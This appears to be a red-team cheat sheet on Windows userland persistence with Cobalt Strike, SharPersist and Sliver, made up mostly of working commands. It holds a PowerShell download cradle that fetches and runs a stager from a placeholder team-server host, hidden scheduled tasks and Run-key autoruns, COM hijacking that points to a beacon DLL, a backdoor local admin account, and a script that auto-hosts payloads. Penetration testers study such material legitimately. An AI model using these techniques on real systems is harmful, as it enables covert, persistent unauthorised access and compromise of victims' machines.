Persistence
Maintaining access to a compromised host without re-exploiting initial access. These are userland (medium integrity) persistence methods — see d. Elevated Persistence for techniques requiring admin/SYSTEM.
OPSEC: Persistence creates artifacts on disk and in the registry — high detection risk. Balance operational need vs exposure. Only install persistence if it’s practically essential for the engagement.
See c. Artifact Removal for removal commands and post-engagement cleanup procedures.
Scheduled Tasks (SharPersist)
Create a scheduled task that executes a payload on a pre-determined trigger (time-based, on logon, on idle, etc.).
Cobalt Strike
# 1. Encode the payload stager
# PowerShell:
$str = 'IEX ((new-object net.webclient).downloadstring("http://TEAMSERVER/a"))'
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))
# Linux:
echo -en 'IEX ((new-object net.webclient).downloadstring("http://TEAMSERVER/a"))' | iconv -t UTF-16LE | base64 -w 0
# 2. Create the scheduled task
beacon> execute-assembly SharPersist.exe -t schtask -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc <BASE64_PAYLOAD>" -n "Updater" -m add -o hourlySharPersist flags:
-t— persistence technique-c— command to execute-a— command arguments-n— task name-m— mode (add,remove,check,list)-o— task frequency (hourly,daily,logon)
Manual
# Native schtasks
schtasks /create /tn "Updater" /tr "C:\ProgramData\payload.exe" /sc hourly /ru "%USERNAME%"
# List/remove
schtasks /query /tn "Updater"
schtasks /delete /tn "Updater" /fStartup Folder (SharPersist)
Applications and shortcuts in a user’s startup folder launch automatically on logon.
Cobalt Strike
beacon> execute-assembly SharPersist.exe -t startupfolder -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc <BASE64_PAYLOAD>" -f "UserEnvSetup" -m addAdditional flag:
-f— filename to save as (the shortcut name in the startup folder)
Registry Autorun (SharPersist)
AutoRun values in HKCU/HKLM start applications on boot/logon.
Cobalt Strike
# 1. Upload and rename payload
beacon> cd C:\ProgramData
beacon> upload C:\Payloads\http_x64.exe
beacon> mv http_x64.exe updater.exe
# 2. Create the registry autorun
beacon> execute-assembly SharPersist.exe -t reg -c "C:\ProgramData\Updater.exe" -a "/q /n" -k "hkcurun" -v "Updater" -m addAdditional flags:
-k— registry key to modify (hkcurun,hklmrun, etc.)-v— registry value name
Note: HKCU autorun only triggers when the hive owner logs in. HKLM autorun triggers for any user logon, but still runs under that user’s context — not SYSTEM.
Manual
# Native reg add
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Updater" /t REG_SZ /d "C:\ProgramData\Updater.exe" /f
# Check
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
# Remove
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Updater" /fCOM Hijacking (Registry)
Find applications loading COM objects that don’t exist (“abandoned” CLSIDs), then create HKCU registry entries pointing to a payload DLL. When the application loads, our DLL runs instead.
Cobalt Strike
1. Find abandoned CLSIDs with Procmon:
Set Procmon filters:
- Operation →
RegOpenKey - Result →
NAME NOT FOUND - Path → ends with
InprocServer32
Tip: Avoid CLSIDs loaded every few seconds — pick ones loaded semi-frequently or when common apps (Word, Outlook) open.
2. Verify the CLSID exists in HKLM but not HKCU:
# Should return the existing entry
Get-Item -Path "HKLM:\Software\Classes\CLSID\{TARGET-CLSID}\InprocServer32"
# Should return "does not exist"
Get-Item -Path "HKCU:\Software\Classes\CLSID\{TARGET-CLSID}\InprocServer32"3. Create the HKCU hijack pointing to your DLL:
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{TARGET-CLSID}"
New-Item -Path "HKCU:Software\Classes\CLSID\{TARGET-CLSID}" -Name "InprocServer32" -Value "C:\path\to\beacon.dll"
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{TARGET-CLSID}\InprocServer32" -Name "ThreadingModel" -Value "Both"4. Cleanup: Delete the HKCU registry entries and remove the DLL.
COM Hijacking (Task Scheduler)
Many default Windows scheduled tasks use COM triggers instead of binaries. Find tasks with hijackable CLSIDs.
Cobalt Strike
# Find scheduled tasks with COM triggers running as "Users" group
$Tasks = Get-ScheduledTask
foreach ($Task in $Tasks)
{
if ($Task.Actions.ClassId -ne $null)
{
if ($Task.Triggers.Enabled -eq $true)
{
if ($Task.Principal.GroupId -eq "Users")
{
Write-Host "Task Name: " $Task.TaskName
Write-Host "Task Path: " $Task.TaskPath
Write-Host "CLSID: " $Task.Actions.ClassId
Write-Host
}
}
}
}- Pick a task with a suitable trigger (e.g. on any user login)
- Look up the CLSID in
HKEY_CLASSES_ROOT\CLSID— verify it ends inInprocServer32 - Confirm it exists in HKLM but not HKCU:
Get-ChildItem -Path "Registry::HKCR\CLSID\{TARGET-CLSID}"
Get-Item -Path "HKLM:Software\Classes\CLSID\{TARGET-CLSID}" | ft -AutoSize
Get-Item -Path "HKCU:Software\Classes\CLSID\{TARGET-CLSID}"- Create the HKCU entry pointing to your DLL (same as Registry method above)
Quick Persistence (Sliver)
Simple user/group-based persistence — less stealthy but fast.
Sliver
# Add compromised domain user to local admins
execute -o net localgroup administrators DOMAIN\\user /add
execute -o net localgroup administrators
# Create a new local user and add to admin + RDP groups
execute -o net user /add backdoor "Password123@" /Y
execute -o net localgroup administrators backdoor /add
execute -o net localgroup "Remote Desktop Users" backdoor /add
execute -o net localgroup "Remote Management Users" backdoor /addHeadless Cobalt Strike (agscript)
When the team server restarts, listeners are restored but hosted payloads are not. Use agscript to automatically re-host payloads so persistence callbacks don’t fail.
Cobalt Strike
1. Create host_payloads.cna:
# Connected and ready
on ready {
# Generate payload
$payload = artifact_payload("http", "powershell", "x64");
# Host payload
site_host("TEAMSERVER_IP", 80, "/a", $payload, "text/plain", "Auto Web Delivery (PowerShell)", false);
}2. Test the script:
./agscript 127.0.0.1 50050 headless Passw0rd! host_payloads.cna3. Add to team server systemd service for auto-start:
ExecStartPost=/bin/sh -c '/usr/bin/sleep 30; /home/attacker/cobaltstrike/agscript 127.0.0.1 50050 headless Passw0rd! host_payloads.cna &'The
readyevent fires once the CS client is connected and synced with the team server. See CS Events documentation for more triggers.